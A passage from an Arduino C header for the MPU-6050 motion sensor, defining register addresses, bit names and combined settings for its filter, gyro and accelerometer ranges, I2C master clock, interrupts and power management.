MPU6050_I2C_SLV2_ADDR 0x2B \/\/ R\/W\n#define MPU6050_I2C_SLV2_REG 0x2C \/\/ R\/W\n#define MPU6050_I2C_SLV2_CTRL 0x2D \/\/ R\/W\n#define MPU6050_I2C_SLV3_ADDR 0x2E \/\/ R\/W\n#define MPU6050_I2C_SLV3_REG 0x2F \/\/ R\/W\n#define MPU6050_I2C_SLV3_CTRL 0x30 \/\/ R\/W\n#define MPU6050_I2C_SLV4_ADDR 0x31 \/\/ R\/W\n#define MPU6050_I2C_SLV4_REG 0x32 \/\/ R\/W\n#define MPU6050_I2C_SLV4_DO 0x33 \/\/ R\/W\n#define MPU6050_I2C_SLV4_CTRL 0x34 \/\/ R\/W\n#define MPU6050_I2C_SLV4_DI 0x35 \/\/ R \n#define MPU6050_I2C_MST_STATUS 0x36 \/\/ R\n#define MPU6050_INT_PIN_CFG 0x37 \/\/ R\/W\n#define MPU6050_INT_ENABLE 0x38 \/\/ R\/W\n#define MPU6050_INT_STATUS 0x3A \/\/ R \n#define MPU6050_ACCEL_XOUT_H 0x3B \/\/ R \n#define MPU6050_ACCEL_XOUT_L 0x3C \/\/ R \n#define MPU6050_ACCEL_YOUT_H 0x3D \/\/ R \n#define MPU6050_ACCEL_YOUT_L 0x3E \/\/ R \n#define MPU6050_ACCEL_ZOUT_H 0x3F \/\/ R \n#define MPU6050_ACCEL_ZOUT_L 0x40 \/\/ R \n#define MPU6050_TEMP_OUT_H 0x41 \/\/ R \n#define MPU6050_TEMP_OUT_L 0x42 \/\/ R \n#define MPU6050_GYRO_XOUT_H 0x43 \/\/ R \n#define MPU6050_GYRO_XOUT_L 0x44 \/\/ R \n#define MPU6050_GYRO_YOUT_H 0x45 \/\/ R \n#define MPU6050_GYRO_YOUT_L 0x46 \/\/ R \n#define MPU6050_GYRO_ZOUT_H 0x47 \/\/ R \n#define MPU6050_GYRO_ZOUT_L 0x48 \/\/ R \n#define MPU6050_EXT_SENS_DATA_00 0x49 \/\/ R \n#define MPU6050_EXT_SENS_DATA_01 0x4A \/\/ R \n#define MPU6050_EXT_SENS_DATA_02 0x4B \/\/ R \n#define MPU6050_EXT_SENS_DATA_03 0x4C \/\/ R \n#define MPU6050_EXT_SENS_DATA_04 0x4D \/\/ R \n#define MPU6050_EXT_SENS_DATA_05 0x4E \/\/ R \n#define MPU6050_EXT_SENS_DATA_06 0x4F \/\/ R \n#define MPU6050_EXT_SENS_DATA_07 0x50 \/\/ R \n#define MPU6050_EXT_SENS_DATA_08 0x51 \/\/ R \n#define MPU6050_EXT_SENS_DATA_09 0x52 \/\/ R \n#define MPU6050_EXT_SENS_DATA_10 0x53 \/\/ R \n#define MPU6050_EXT_SENS_DATA_11 0x54 \/\/ R \n#define MPU6050_EXT_SENS_DATA_12 0x55 \/\/ R \n#define MPU6050_EXT_SENS_DATA_13 0x56 \/\/ R \n#define MPU6050_EXT_SENS_DATA_14 0x57 \/\/ R \n#define MPU6050_EXT_SENS_DATA_15 0x58 \/\/ R \n#define MPU6050_EXT_SENS_DATA_16 0x59 \/\/ R \n#define MPU6050_EXT_SENS_DATA_17 0x5A \/\/ R \n#define MPU6050_EXT_SENS_DATA_18 0x5B \/\/ R \n#define MPU6050_EXT_SENS_DATA_19 0x5C \/\/ R \n#define MPU6050_EXT_SENS_DATA_20 0x5D \/\/ R \n#define MPU6050_EXT_SENS_DATA_21 0x5E \/\/ R \n#define MPU6050_EXT_SENS_DATA_22 0x5F \/\/ R \n#define MPU6050_EXT_SENS_DATA_23 0x60 \/\/ R \n#define MPU6050_MOT_DETECT_STATUS 0x61 \/\/ R \n#define MPU6050_I2C_SLV0_DO 0x63 \/\/ R\/W\n#define MPU6050_I2C_SLV1_DO 0x64 \/\/ R\/W\n#define MPU6050_I2C_SLV2_DO 0x65 \/\/ R\/W\n#define MPU6050_I2C_SLV3_DO 0x66 \/\/ R\/W\n#define MPU6050_I2C_MST_DELAY_CTRL 0x67 \/\/ R\/W\n#define MPU6050_SIGNAL_PATH_RESET 0x68 \/\/ R\/W\n#define MPU6050_MOT_DETECT_CTRL 0x69 \/\/ R\/W\n#define MPU6050_USER_CTRL 0x6A \/\/ R\/W\n#define MPU6050_PWR_MGMT_1 0x6B \/\/ R\/W\n#define MPU6050_PWR_MGMT_2 0x6C \/\/ R\/W\n#define MPU6050_FIFO_COUNTH 0x72 \/\/ R\/W\n#define MPU6050_FIFO_COUNTL 0x73 \/\/ R\/W\n#define MPU6050_FIFO_R_W 0x74 \/\/ R\/W\n#define MPU6050_WHO_AM_I 0x75 \/\/ R\n \n \n\/\/ Defines for the bits, to be able to change\n\/\/ between bit number and binary definition.\n\/\/ By using the bit number, programming the sensor\n\/\/ is like programming the AVR microcontroller.\n\/\/ But instead of using \"(1<<X)\", or \"_BV(X)\",\n\/\/ the Arduino \"bit(X)\" is used.\n#define MPU6050_D0 0\n#define MPU6050_D1 1\n#define MPU6050_D2 2\n#define MPU6050_D3 3\n#define MPU6050_D4 4\n#define MPU6050_D5 5\n#define MPU6050_D6 6\n#define MPU6050_D7 7\n \n\/\/ AUX_VDDIO Register\n#define MPU6050_AUX_VDDIO MPU6050_D7 \/\/ I2C high: 1=VDD, 0=VLOGIC\n \n\/\/ CONFIG Register\n\/\/ DLPF is Digital Low Pass Filter for both gyro and accelerometers.\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_DLPF_CFG0 MPU6050_D0\n#define MPU6050_DLPF_CFG1 MPU6050_D1\n#define MPU6050_DLPF_CFG2 MPU6050_D2\n#define MPU6050_EXT_SYNC_SET0 MPU6050_D3\n#define MPU6050_EXT_SYNC_SET1 MPU6050_D4\n#define MPU6050_EXT_SYNC_SET2 MPU6050_D5\n \n\/\/ Combined definitions for the EXT_SYNC_SET values\n#define MPU6050_EXT_SYNC_SET_0 (0)\n#define MPU6050_EXT_SYNC_SET_1 (bit(MPU6050_EXT_SYNC_SET0))\n#define MPU6050_EXT_SYNC_SET_2 (bit(MPU6050_EXT_SYNC_SET1))\n#define MPU6050_EXT_SYNC_SET_3 (bit(MPU6050_EXT_SYNC_SET1)|bit(MPU6050_EXT_SYNC_SET0))\n#define MPU6050_EXT_SYNC_SET_4 (bit(MPU6050_EXT_SYNC_SET2))\n#define MPU6050_EXT_SYNC_SET_5 (bit(MPU6050_EXT_SYNC_SET2)|bit(MPU6050_EXT_SYNC_SET0))\n#define MPU6050_EXT_SYNC_SET_6 (bit(MPU6050_EXT_SYNC_SET2)|bit(MPU6050_EXT_SYNC_SET1))\n#define MPU6050_EXT_SYNC_SET_7 (bit(MPU6050_EXT_SYNC_SET2)|bit(MPU6050_EXT_SYNC_SET1)|bit(MPU6050_EXT_SYNC_SET0))\n \n\/\/ Alternative names for the combined definitions.\n#define MPU6050_EXT_SYNC_DISABLED MPU6050_EXT_SYNC_SET_0\n#define MPU6050_EXT_SYNC_TEMP_OUT_L MPU6050_EXT_SYNC_SET_1\n#define MPU6050_EXT_SYNC_GYRO_XOUT_L MPU6050_EXT_SYNC_SET_2\n#define MPU6050_EXT_SYNC_GYRO_YOUT_L MPU6050_EXT_SYNC_SET_3\n#define MPU6050_EXT_SYNC_GYRO_ZOUT_L MPU6050_EXT_SYNC_SET_4\n#define MPU6050_EXT_SYNC_ACCEL_XOUT_L MPU6050_EXT_SYNC_SET_5\n#define MPU6050_EXT_SYNC_ACCEL_YOUT_L MPU6050_EXT_SYNC_SET_6\n#define MPU6050_EXT_SYNC_ACCEL_ZOUT_L MPU6050_EXT_SYNC_SET_7\n \n\/\/ Combined definitions for the DLPF_CFG values\n#define MPU6050_DLPF_CFG_0 (0)\n#define MPU6050_DLPF_CFG_1 (bit(MPU6050_DLPF_CFG0))\n#define MPU6050_DLPF_CFG_2 (bit(MPU6050_DLPF_CFG1))\n#define MPU6050_DLPF_CFG_3 (bit(MPU6050_DLPF_CFG1)|bit(MPU6050_DLPF_CFG0))\n#define MPU6050_DLPF_CFG_4 (bit(MPU6050_DLPF_CFG2))\n#define MPU6050_DLPF_CFG_5 (bit(MPU6050_DLPF_CFG2)|bit(MPU6050_DLPF_CFG0))\n#define MPU6050_DLPF_CFG_6 (bit(MPU6050_DLPF_CFG2)|bit(MPU6050_DLPF_CFG1))\n#define MPU6050_DLPF_CFG_7 (bit(MPU6050_DLPF_CFG2)|bit(MPU6050_DLPF_CFG1)|bit(MPU6050_DLPF_CFG0))\n \n\/\/ Alternative names for the combined definitions\n\/\/ This name uses the bandwidth (Hz) for the accelometer,\n\/\/ for the gyro the bandwidth is almost the same.\n#define MPU6050_DLPF_260HZ MPU6050_DLPF_CFG_0\n#define MPU6050_DLPF_184HZ MPU6050_DLPF_CFG_1\n#define MPU6050_DLPF_94HZ MPU6050_DLPF_CFG_2\n#define MPU6050_DLPF_44HZ MPU6050_DLPF_CFG_3\n#define MPU6050_DLPF_21HZ MPU6050_DLPF_CFG_4\n#define MPU6050_DLPF_10HZ MPU6050_DLPF_CFG_5\n#define MPU6050_DLPF_5HZ MPU6050_DLPF_CFG_6\n#define MPU6050_DLPF_RESERVED MPU6050_DLPF_CFG_7\n \n\/\/ GYRO_CONFIG Register\n\/\/ The XG_ST, YG_ST, ZG_ST are bits for selftest.\n\/\/ The FS_SEL sets the range for the gyro.\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_FS_SEL0 MPU6050_D3\n#define MPU6050_FS_SEL1 MPU6050_D4\n#define MPU6050_ZG_ST MPU6050_D5\n#define MPU6050_YG_ST MPU6050_D6\n#define MPU6050_XG_ST MPU6050_D7\n \n\/\/ Combined definitions for the FS_SEL values\n#define MPU6050_FS_SEL_0 (0)\n#define MPU6050_FS_SEL_1 (bit(MPU6050_FS_SEL0))\n#define MPU6050_FS_SEL_2 (bit(MPU6050_FS_SEL1))\n#define MPU6050_FS_SEL_3 (bit(MPU6050_FS_SEL1)|bit(MPU6050_FS_SEL0))\n \n\/\/ Alternative names for the combined definitions\n\/\/ The name uses the range in degrees per second.\n#define MPU6050_FS_SEL_250 MPU6050_FS_SEL_0\n#define MPU6050_FS_SEL_500 MPU6050_FS_SEL_1\n#define MPU6050_FS_SEL_1000 MPU6050_FS_SEL_2\n#define MPU6050_FS_SEL_2000 MPU6050_FS_SEL_3\n \n\/\/ ACCEL_CONFIG Register\n\/\/ The XA_ST, YA_ST, ZA_ST are bits for selftest.\n\/\/ The AFS_SEL sets the range for the accelerometer.\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_ACCEL_HPF0 MPU6050_D0\n#define MPU6050_ACCEL_HPF1 MPU6050_D1\n#define MPU6050_ACCEL_HPF2 MPU6050_D2\n#define MPU6050_AFS_SEL0 MPU6050_D3\n#define MPU6050_AFS_SEL1 MPU6050_D4\n#define MPU6050_ZA_ST MPU6050_D5\n#define MPU6050_YA_ST MPU6050_D6\n#define MPU6050_XA_ST MPU6050_D7\n \n\/\/ Combined definitions for the ACCEL_HPF values\n#define MPU6050_ACCEL_HPF_0 (0)\n#define MPU6050_ACCEL_HPF_1 (bit(MPU6050_ACCEL_HPF0))\n#define MPU6050_ACCEL_HPF_2 (bit(MPU6050_ACCEL_HPF1))\n#define MPU6050_ACCEL_HPF_3 (bit(MPU6050_ACCEL_HPF1)|bit(MPU6050_ACCEL_HPF0))\n#define MPU6050_ACCEL_HPF_4 (bit(MPU6050_ACCEL_HPF2))\n#define MPU6050_ACCEL_HPF_7 (bit(MPU6050_ACCEL_HPF2)|bit(MPU6050_ACCEL_HPF1)|bit(MPU6050_ACCEL_HPF0))\n \n\/\/ Alternative names for the combined definitions\n\/\/ The name uses the Cut-off frequency.\n#define MPU6050_ACCEL_HPF_RESET MPU6050_ACCEL_HPF_0\n#define MPU6050_ACCEL_HPF_5HZ MPU6050_ACCEL_HPF_1\n#define MPU6050_ACCEL_HPF_2_5HZ MPU6050_ACCEL_HPF_2\n#define MPU6050_ACCEL_HPF_1_25HZ MPU6050_ACCEL_HPF_3\n#define MPU6050_ACCEL_HPF_0_63HZ MPU6050_ACCEL_HPF_4\n#define MPU6050_ACCEL_HPF_HOLD MPU6050_ACCEL_HPF_7\n \n\/\/ Combined definitions for the AFS_SEL values\n#define MPU6050_AFS_SEL_0 (0)\n#define MPU6050_AFS_SEL_1 (bit(MPU6050_AFS_SEL0))\n#define MPU6050_AFS_SEL_2 (bit(MPU6050_AFS_SEL1))\n#define MPU6050_AFS_SEL_3 (bit(MPU6050_AFS_SEL1)|bit(MPU6050_AFS_SEL0))\n \n\/\/ Alternative names for the combined definitions\n\/\/ The name uses the full scale range for the accelerometer.\n#define MPU6050_AFS_SEL_2G MPU6050_AFS_SEL_0\n#define MPU6050_AFS_SEL_4G MPU6050_AFS_SEL_1\n#define MPU6050_AFS_SEL_8G MPU6050_AFS_SEL_2\n#define MPU6050_AFS_SEL_16G MPU6050_AFS_SEL_3\n \n\/\/ FIFO_EN Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_SLV0_FIFO_EN MPU6050_D0\n#define MPU6050_SLV1_FIFO_EN MPU6050_D1\n#define MPU6050_SLV2_FIFO_EN MPU6050_D2\n#define MPU6050_ACCEL_FIFO_EN MPU6050_D3\n#define MPU6050_ZG_FIFO_EN MPU6050_D4\n#define MPU6050_YG_FIFO_EN MPU6050_D5\n#define MPU6050_XG_FIFO_EN MPU6050_D6\n#define MPU6050_TEMP_FIFO_EN MPU6050_D7\n \n\/\/ I2C_MST_CTRL Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_MST_CLK0 MPU6050_D0\n#define MPU6050_I2C_MST_CLK1 MPU6050_D1\n#define MPU6050_I2C_MST_CLK2 MPU6050_D2\n#define MPU6050_I2C_MST_CLK3 MPU6050_D3\n#define MPU6050_I2C_MST_P_NSR MPU6050_D4\n#define MPU6050_SLV_3_FIFO_EN MPU6050_D5\n#define MPU6050_WAIT_FOR_ES MPU6050_D6\n#define MPU6050_MULT_MST_EN MPU6050_D7\n \n\/\/ Combined definitions for the I2C_MST_CLK\n#define MPU6050_I2C_MST_CLK_0 (0)\n#define MPU6050_I2C_MST_CLK_1 (bit(MPU6050_I2C_MST_CLK0))\n#define MPU6050_I2C_MST_CLK_2 (bit(MPU6050_I2C_MST_CLK1))\n#define MPU6050_I2C_MST_CLK_3 (bit(MPU6050_I2C_MST_CLK1)|bit(MPU6050_I2C_MST_CLK0))\n#define MPU6050_I2C_MST_CLK_4 (bit(MPU6050_I2C_MST_CLK2))\n#define MPU6050_I2C_MST_CLK_5 (bit(MPU6050_I2C_MST_CLK2)|bit(MPU6050_I2C_MST_CLK0))\n#define MPU6050_I2C_MST_CLK_6 (bit(MPU6050_I2C_MST_CLK2)|bit(MPU6050_I2C_MST_CLK1))\n#define MPU6050_I2C_MST_CLK_7 (bit(MPU6050_I2C_MST_CLK2)|bit(MPU6050_I2C_MST_CLK1)|bit(MPU6050_I2C_MST_CLK0))\n#define MPU6050_I2C_MST_CLK_8 (bit(MPU6050_I2C_MST_CLK3))\n#define MPU6050_I2C_MST_CLK_9 (bit(MPU6050_I2C_MST_CLK3)|bit(MPU6050_I2C_MST_CLK0))\n#define MPU6050_I2C_MST_CLK_10 (bit(MPU6050_I2C_MST_CLK3)|bit(MPU6050_I2C_MST_CLK1))\n#define MPU6050_I2C_MST_CLK_11 (bit(MPU6050_I2C_MST_CLK3)|bit(MPU6050_I2C_MST_CLK1)|bit(MPU6050_I2C_MST_CLK0))\n#define MPU6050_I2C_MST_CLK_12 (bit(MPU6050_I2C_MST_CLK3)|bit(MPU6050_I2C_MST_CLK2))\n#define MPU6050_I2C_MST_CLK_13 (bit(MPU6050_I2C_MST_CLK3)|bit(MPU6050_I2C_MST_CLK2)|bit(MPU6050_I2C_MST_CLK0))\n#define MPU6050_I2C_MST_CLK_14 (bit(MPU6050_I2C_MST_CLK3)|bit(MPU6050_I2C_MST_CLK2)|bit(MPU6050_I2C_MST_CLK1))\n#define MPU6050_I2C_MST_CLK_15 (bit(MPU6050_I2C_MST_CLK3)|bit(MPU6050_I2C_MST_CLK2)|bit(MPU6050_I2C_MST_CLK1)|bit(MPU6050_I2C_MST_CLK0))\n \n\/\/ Alternative names for the combined definitions\n\/\/ The names uses I2C Master Clock Speed in kHz.\n#define MPU6050_I2C_MST_CLK_348KHZ MPU6050_I2C_MST_CLK_0\n#define MPU6050_I2C_MST_CLK_333KHZ MPU6050_I2C_MST_CLK_1\n#define MPU6050_I2C_MST_CLK_320KHZ MPU6050_I2C_MST_CLK_2\n#define MPU6050_I2C_MST_CLK_308KHZ MPU6050_I2C_MST_CLK_3\n#define MPU6050_I2C_MST_CLK_296KHZ MPU6050_I2C_MST_CLK_4\n#define MPU6050_I2C_MST_CLK_286KHZ MPU6050_I2C_MST_CLK_5\n#define MPU6050_I2C_MST_CLK_276KHZ MPU6050_I2C_MST_CLK_6\n#define MPU6050_I2C_MST_CLK_267KHZ MPU6050_I2C_MST_CLK_7\n#define MPU6050_I2C_MST_CLK_258KHZ MPU6050_I2C_MST_CLK_8\n#define MPU6050_I2C_MST_CLK_500KHZ MPU6050_I2C_MST_CLK_9\n#define MPU6050_I2C_MST_CLK_471KHZ MPU6050_I2C_MST_CLK_10\n#define MPU6050_I2C_MST_CLK_444KHZ MPU6050_I2C_MST_CLK_11\n#define MPU6050_I2C_MST_CLK_421KHZ MPU6050_I2C_MST_CLK_12\n#define MPU6050_I2C_MST_CLK_400KHZ MPU6050_I2C_MST_CLK_13\n#define MPU6050_I2C_MST_CLK_381KHZ MPU6050_I2C_MST_CLK_14\n#define MPU6050_I2C_MST_CLK_364KHZ MPU6050_I2C_MST_CLK_15\n \n\/\/ I2C_SLV0_ADDR Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_SLV0_RW MPU6050_D7\n \n\/\/ I2C_SLV0_CTRL Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_SLV0_LEN0 MPU6050_D0\n#define MPU6050_I2C_SLV0_LEN1 MPU6050_D1\n#define MPU6050_I2C_SLV0_LEN2 MPU6050_D2\n#define MPU6050_I2C_SLV0_LEN3 MPU6050_D3\n#define MPU6050_I2C_SLV0_GRP MPU6050_D4\n#define MPU6050_I2C_SLV0_REG_DIS MPU6050_D5\n#define MPU6050_I2C_SLV0_BYTE_SW MPU6050_D6\n#define MPU6050_I2C_SLV0_EN MPU6050_D7\n \n\/\/ A mask for the length\n#define MPU6050_I2C_SLV0_LEN_MASK 0x0F\n \n\/\/ I2C_SLV1_ADDR Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_SLV1_RW MPU6050_D7\n \n\/\/ I2C_SLV1_CTRL Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_SLV1_LEN0 MPU6050_D0\n#define MPU6050_I2C_SLV1_LEN1 MPU6050_D1\n#define MPU6050_I2C_SLV1_LEN2 MPU6050_D2\n#define MPU6050_I2C_SLV1_LEN3 MPU6050_D3\n#define MPU6050_I2C_SLV1_GRP MPU6050_D4\n#define MPU6050_I2C_SLV1_REG_DIS MPU6050_D5\n#define MPU6050_I2C_SLV1_BYTE_SW MPU6050_D6\n#define MPU6050_I2C_SLV1_EN MPU6050_D7\n \n\/\/ A mask for the length\n#define MPU6050_I2C_SLV1_LEN_MASK 0x0F\n \n\/\/ I2C_SLV2_ADDR Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_SLV2_RW MPU6050_D7\n \n\/\/ I2C_SLV2_CTRL Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_SLV2_LEN0 MPU6050_D0\n#define MPU6050_I2C_SLV2_LEN1 MPU6050_D1\n#define MPU6050_I2C_SLV2_LEN2 MPU6050_D2\n#define MPU6050_I2C_SLV2_LEN3 MPU6050_D3\n#define MPU6050_I2C_SLV2_GRP MPU6050_D4\n#define MPU6050_I2C_SLV2_REG_DIS MPU6050_D5\n#define MPU6050_I2C_SLV2_BYTE_SW MPU6050_D6\n#define MPU6050_I2C_SLV2_EN MPU6050_D7\n \n\/\/ A mask for the length\n#define MPU6050_I2C_SLV2_LEN_MASK 0x0F\n \n\/\/ I2C_SLV3_ADDR Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_SLV3_RW MPU6050_D7\n \n\/\/ I2C_SLV3_CTRL Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_SLV3_LEN0 MPU6050_D0\n#define MPU6050_I2C_SLV3_LEN1 MPU6050_D1\n#define MPU6050_I2C_SLV3_LEN2 MPU6050_D2\n#define MPU6050_I2C_SLV3_LEN3 MPU6050_D3\n#define MPU6050_I2C_SLV3_GRP MPU6050_D4\n#define MPU6050_I2C_SLV3_REG_DIS MPU6050_D5\n#define MPU6050_I2C_SLV3_BYTE_SW MPU6050_D6\n#define MPU6050_I2C_SLV3_EN MPU6050_D7\n \n\/\/ A mask for the length\n#define MPU6050_I2C_SLV3_LEN_MASK 0x0F\n \n\/\/ I2C_SLV4_ADDR Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_SLV4_RW MPU6050_D7\n \n\/\/ I2C_SLV4_CTRL Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_MST_DLY0 MPU6050_D0\n#define MPU6050_I2C_MST_DLY1 MPU6050_D1\n#define MPU6050_I2C_MST_DLY2 MPU6050_D2\n#define MPU6050_I2C_MST_DLY3 MPU6050_D3\n#define MPU6050_I2C_MST_DLY4 MPU6050_D4\n#define MPU6050_I2C_SLV4_REG_DIS MPU6050_D5\n#define MPU6050_I2C_SLV4_INT_EN MPU6050_D6\n#define MPU6050_I2C_SLV4_EN MPU6050_D7\n \n\/\/ A mask for the delay\n#define MPU6050_I2C_MST_DLY_MASK 0x1F\n \n\/\/ I2C_MST_STATUS Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_SLV0_NACK MPU6050_D0\n#define MPU6050_I2C_SLV1_NACK MPU6050_D1\n#define MPU6050_I2C_SLV2_NACK MPU6050_D2\n#define MPU6050_I2C_SLV3_NACK MPU6050_D3\n#define MPU6050_I2C_SLV4_NACK MPU6050_D4\n#define MPU6050_I2C_LOST_ARB MPU6050_D5\n#define MPU6050_I2C_SLV4_DONE MPU6050_D6\n#define MPU6050_PASS_THROUGH MPU6050_D7\n \n\/\/ I2C_PIN_CFG Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_CLKOUT_EN MPU6050_D0\n#define MPU6050_I2C_BYPASS_EN MPU6050_D1\n#define MPU6050_FSYNC_INT_EN MPU6050_D2\n#define MPU6050_FSYNC_INT_LEVEL MPU6050_D3\n#define MPU6050_INT_RD_CLEAR MPU6050_D4\n#define MPU6050_LATCH_INT_EN MPU6050_D5\n#define MPU6050_INT_OPEN MPU6050_D6\n#define MPU6050_INT_LEVEL MPU6050_D7\n \n\/\/ INT_ENABLE Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_DATA_RDY_EN MPU6050_D0\n#define MPU6050_I2C_MST_INT_EN MPU6050_D3\n#define MPU6050_FIFO_OFLOW_EN MPU6050_D4\n#define MPU6050_ZMOT_EN MPU6050_D5\n#define MPU6050_MOT_EN MPU6050_D6\n#define MPU6050_FF_EN MPU6050_D7\n \n\/\/ INT_STATUS Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_DATA_RDY_INT MPU6050_D0\n#define MPU6050_I2C_MST_INT MPU6050_D3\n#define MPU6050_FIFO_OFLOW_INT MPU6050_D4\n#define MPU6050_ZMOT_INT MPU6050_D5\n#define MPU6050_MOT_INT MPU6050_D6\n#define MPU6050_FF_INT MPU6050_D7\n \n\/\/ MOT_DETECT_STATUS Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_MOT_ZRMOT MPU6050_D0\n#define MPU6050_MOT_ZPOS MPU6050_D2\n#define MPU6050_MOT_ZNEG MPU6050_D3\n#define MPU6050_MOT_YPOS MPU6050_D4\n#define MPU6050_MOT_YNEG MPU6050_D5\n#define MPU6050_MOT_XPOS MPU6050_D6\n#define MPU6050_MOT_XNEG MPU6050_D7\n \n\/\/ IC2_MST_DELAY_CTRL Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_I2C_SLV0_DLY_EN MPU6050_D0\n#define MPU6050_I2C_SLV1_DLY_EN MPU6050_D1\n#define MPU6050_I2C_SLV2_DLY_EN MPU6050_D2\n#define MPU6050_I2C_SLV3_DLY_EN MPU6050_D3\n#define MPU6050_I2C_SLV4_DLY_EN MPU6050_D4\n#define MPU6050_DELAY_ES_SHADOW MPU6050_D7\n \n\/\/ SIGNAL_PATH_RESET Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_TEMP_RESET MPU6050_D0\n#define MPU6050_ACCEL_RESET MPU6050_D1\n#define MPU6050_GYRO_RESET MPU6050_D2\n \n\/\/ MOT_DETECT_CTRL Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_MOT_COUNT0 MPU6050_D0\n#define MPU6050_MOT_COUNT1 MPU6050_D1\n#define MPU6050_FF_COUNT0 MPU6050_D2\n#define MPU6050_FF_COUNT1 MPU6050_D3\n#define MPU6050_ACCEL_ON_DELAY0 MPU6050_D4\n#define MPU6050_ACCEL_ON_DELAY1 MPU6050_D5\n \n\/\/ Combined definitions for the MOT_COUNT\n#define MPU6050_MOT_COUNT_0 (0)\n#define MPU6050_MOT_COUNT_1 (bit(MPU6050_MOT_COUNT0))\n#define MPU6050_MOT_COUNT_2 (bit(MPU6050_MOT_COUNT1))\n#define MPU6050_MOT_COUNT_3 (bit(MPU6050_MOT_COUNT1)|bit(MPU6050_MOT_COUNT0))\n \n\/\/ Alternative names for the combined definitions\n#define MPU6050_MOT_COUNT_RESET MPU6050_MOT_COUNT_0\n \n\/\/ Combined definitions for the FF_COUNT\n#define MPU6050_FF_COUNT_0 (0)\n#define MPU6050_FF_COUNT_1 (bit(MPU6050_FF_COUNT0))\n#define MPU6050_FF_COUNT_2 (bit(MPU6050_FF_COUNT1))\n#define MPU6050_FF_COUNT_3 (bit(MPU6050_FF_COUNT1)|bit(MPU6050_FF_COUNT0))\n \n\/\/ Alternative names for the combined definitions\n#define MPU6050_FF_COUNT_RESET MPU6050_FF_COUNT_0\n \n\/\/ Combined definitions for the ACCEL_ON_DELAY\n#define MPU6050_ACCEL_ON_DELAY_0 (0)\n#define MPU6050_ACCEL_ON_DELAY_1 (bit(MPU6050_ACCEL_ON_DELAY0))\n#define MPU6050_ACCEL_ON_DELAY_2 (bit(MPU6050_ACCEL_ON_DELAY1))\n#define MPU6050_ACCEL_ON_DELAY_3 (bit(MPU6050_ACCEL_ON_DELAY1)|bit(MPU6050_ACCEL_ON_DELAY0))\n \n\/\/ Alternative names for the ACCEL_ON_DELAY\n#define MPU6050_ACCEL_ON_DELAY_0MS MPU6050_ACCEL_ON_DELAY_0\n#define MPU6050_ACCEL_ON_DELAY_1MS MPU6050_ACCEL_ON_DELAY_1\n#define MPU6050_ACCEL_ON_DELAY_2MS MPU6050_ACCEL_ON_DELAY_2\n#define MPU6050_ACCEL_ON_DELAY_3MS MPU6050_ACCEL_ON_DELAY_3\n \n\/\/ USER_CTRL Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_SIG_COND_RESET MPU6050_D0\n#define MPU6050_I2C_MST_RESET MPU6050_D1\n#define MPU6050_FIFO_RESET MPU6050_D2\n#define MPU6050_I2C_IF_DIS MPU6050_D4 \/\/ must be 0 for MPU-6050\n#define MPU6050_I2C_MST_EN MPU6050_D5\n#define MPU6050_FIFO_EN MPU6050_D6\n \n\/\/ PWR_MGMT_1 Register\n\/\/ These are the names for the bits.\n\/\/ Use these only with the bit() macro.\n#define MPU6050_CLKSEL0 MPU6050_D0\n#define MPU6050_CLKSEL1 MPU6050_D1\n#define MPU6050_CLKSEL2 MPU6050_D2\n#define MPU6050_TEMP_DIS MPU6050_D3 \/\/ 1: disable temperature sensor\n#define MPU6050_CYCLE MPU6050_D5 \/\/ 1: sample and sleep\n#define MPU6050_SLEEP MPU6050_D6 \/\/ 1: sleep mode\n#define MPU6050_DEVICE_RESET MPU6050_D7 \/\/ 1: reset to default values\n \n\/\/ Combined definitions for the CLKSEL\n#define MPU6050_CLKSEL_0 (0)\n#define MPU6050_CLKSEL_1 (bit(MPU6050_CLKSEL0))\n#define MPU6050_CLKSEL_2 (bit(MPU6050_CLKSEL1))\n#define MPU6050_CLKSEL_3 (bit(MPU6050_CLKSEL1)|bit(MPU6050_CLKSEL0))\n#define MPU6050_CLKSEL_4 (bit(MPU6050_CLKSEL2))\n#define MPU6050_CLKSEL_5 (bit(MPU6050_CLKSEL2)|bit(MPU6050_CLKSEL0))\n#define MPU6050_CLKSEL_6 (bit(MPU6050_CLKSEL2)|bit(MPU6050_CLKSEL1))\n#define MPU6050_CLKSEL_7 (bit(MPU6050_CLKSEL2)|bit(MPU6050_CLKSEL1)|bit(MPU6050_CLKSEL0))\n \n\/\/ Alternative names for the combined definitions\n#define MPU6050_CLKSEL_INTERNAL MPU6050_CLKSEL_0\n#define MPU6050_CLKSEL_X 